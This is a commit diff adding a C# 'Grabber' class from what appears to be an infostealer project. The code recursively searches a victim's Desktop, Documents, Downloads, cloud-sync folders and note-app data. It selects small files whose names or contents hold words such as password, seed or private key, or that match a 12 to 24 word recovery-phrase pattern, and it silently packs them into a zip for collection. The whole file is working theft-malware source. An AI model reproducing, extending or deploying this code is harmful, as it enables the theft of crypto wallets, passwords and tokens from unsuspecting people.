initial commit

2026-08-27 10:55:23 -06:00
commit d03dc0bce1
356 changed files with 18535 additions and 0 deletions
@@ -0,0 +1,187 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using Intelix.Helper;
+using Intelix.Helper.Data;
+
+namespace Intelix.Targets.Crypto;
+
+public class Grabber : ITarget
+{
+	private readonly long _sizeMinFile = 120L;
+
+	private readonly long _sizeLimitFile = 6144L;
+
+	private readonly long _sizeLimit = 5242880L;
+
+	private long _size;
+
+	private readonly Regex _seedRegex = new Regex("^(?:\\s*\\b[a-z]{3,}\\b){12,24}\\s*$", RegexOptions.IgnoreCase | RegexOptions.Multiline | RegexOptions.Compiled);
+
+	private readonly string[] _blacklist = new string[10] { "license", "readme", "changelog", "about", "terms", "eula", "notice", "example", "sample", "test" };
+
+	private readonly string[] _keywords = new string[35]
+	{
+		"password", "passwd", "pwd", "pass", "login", "user", "username", "account", "mail", "email",
+		"secret", "key", "private", "public", "wallet", "mnemonic", "seed", "recovery", "phrase", "backup",
+		"pin", "auth", "2fa", "token", "apikey", "api_key", "ssh", "cert", "certificate", "crypto",
+		"btc", "eth", "usdt", "ltc", "xmr"
+	};
+
+	private readonly string[] _seedExtensions = new string[9] { ".seed", ".seedphrase", ".mnemonic", ".phrase", ".key", ".secret", ".txt", ".backup", ".wallet" };
+
+	private readonly string[] _seedPaths = new string[19]
+	{
+		Environment.GetFolderPath(Environment.SpecialFolder.Personal),
+		Environment.GetFolderPath(Environment.SpecialFolder.Desktop),
+		Environment.GetFolderPath(Environment.SpecialFolder.Personal),
+		Environment.GetFolderPath(Environment.SpecialFolder.CommonDocuments),
+		Environment.GetFolderPath(Environment.SpecialFolder.CommonDesktopDirectory),
+		Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Downloads",
+		Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\OneDrive",
+		Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Dropbox",
+		Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\iCloudDrive",
+		Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Google Drive",
+		Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\YandexDisk",
+		Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Mega",
+		Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Evernote",
+		Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Standard Notes",
+		Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Joplin",
+		Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Wallets",
+		Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Keys",
+		Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Crypto",
+		Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Backup"
+	};
+
+	private long Size
+	{
+		get
+		{
+			return Interlocked.Read(ref _size);
+		}
+		set
+		{
+			Interlocked.Exchange(ref _size, value);
+		}
+	}
+
+	public void Collect(InMemoryZip zip, Counter counter)
+	{
+		Parallel.ForEach(_seedPaths, delegate(string directory)
+		{
+			SearchFiles(zip, counter, directory);
+		});
+	}
+
+	private void SearchFiles(InMemoryZip zip, Counter counter, string directory)
+	{
+		if (Size > _sizeLimit)
+		{
+			return;
+		}
+		try
+		{
+			Parallel.ForEach(Directory.GetDirectories(directory), delegate(string subDir)
+			{
+				if (Size <= _sizeLimit)
+				{
+					SearchFiles(zip, counter, subDir);
+				}
+			});
+		}
+		catch
+		{
+		}
+		try
+		{
+			Parallel.ForEach(Directory.GetFiles(directory), delegate(string file)
+			{
+				if (Size <= _sizeLimit)
+				{
+					FileInfo fileInfo = new FileInfo(file);
+					if (_seedExtensions.Contains(fileInfo.Extension, StringComparer.OrdinalIgnoreCase) && fileInfo.Length < _sizeLimitFile && fileInfo.Length > _sizeMinFile)
+					{
+						string text = File.ReadAllText(fileInfo.FullName);
+						if (ContainsKeyword(fileInfo.Name) || ContainsKeyword(text) || ContainsSeedPhrase(text))
+						{
+							Size += fileInfo.Length;
+							string fileName = fileInfo.Name + RandomStrings.GenerateHashTag() + fileInfo.Extension;
+							string relativePath = GetRelativePath(fileInfo.FullName);
+							string text2 = Path.Combine("FileGrabber", relativePath, fileName).Replace('\\', '/');
+							zip.AddTextFile(text2, text);
+							counter.FilesGrabber.Add(file + " => " + text2);
+						}
+					}
+				}
+			});
+		}
+		catch
+		{
+		}
+	}
+
+	private bool ContainsSeedPhrase(string content)
+	{
+		return _seedRegex.IsMatch(content);
+	}
+
+	private string GetRelativePath(string fullPath)
+	{
+		try
+		{
+			string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
+			string documents = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
+			
+			if (fullPath.StartsWith(desktop, StringComparison.OrdinalIgnoreCase))
+			{
+				return "desktop";
+			}
+			if (fullPath.StartsWith(documents, StringComparison.OrdinalIgnoreCase))
+			{
+				return "Documents";
+			}
+			return "other";
+		}
+		catch
+		{
+			return "other";
+		}
+	}
+
+	private bool ContainsKeyword(string content)
+	{
+		if (string.IsNullOrEmpty(content))
+		{
+			return false;
+		}
+		string[] source = content.Split(new char[14]
+		{
+			' ', '\t', '\r', '\n', ',', '.', ';', ':', '-', '_',
+			'/', '\\', '"', '\''
+		}, StringSplitOptions.RemoveEmptyEntries);
+		HashSet<string> whitelist = new HashSet<string>(_keywords, StringComparer.OrdinalIgnoreCase);
+		HashSet<string> blacklist = new HashSet<string>(_blacklist, StringComparer.OrdinalIgnoreCase);
+		int result = 0;
+		Parallel.ForEach(source, delegate(string word, ParallelLoopState state)
+		{
+			if (Volatile.Read(ref result) == -1)
+			{
+				state.Stop();
+			}
+			else if (blacklist.Contains(word))
+			{
+				Interlocked.Exchange(ref result, -1);
+				state.Stop();
+			}
+			else if (whitelist.Contains(word))
+			{
+				Interlocked.CompareExchange(ref result, 1, 0);
+			}
+		});
+		return result == 1;
+	}
+}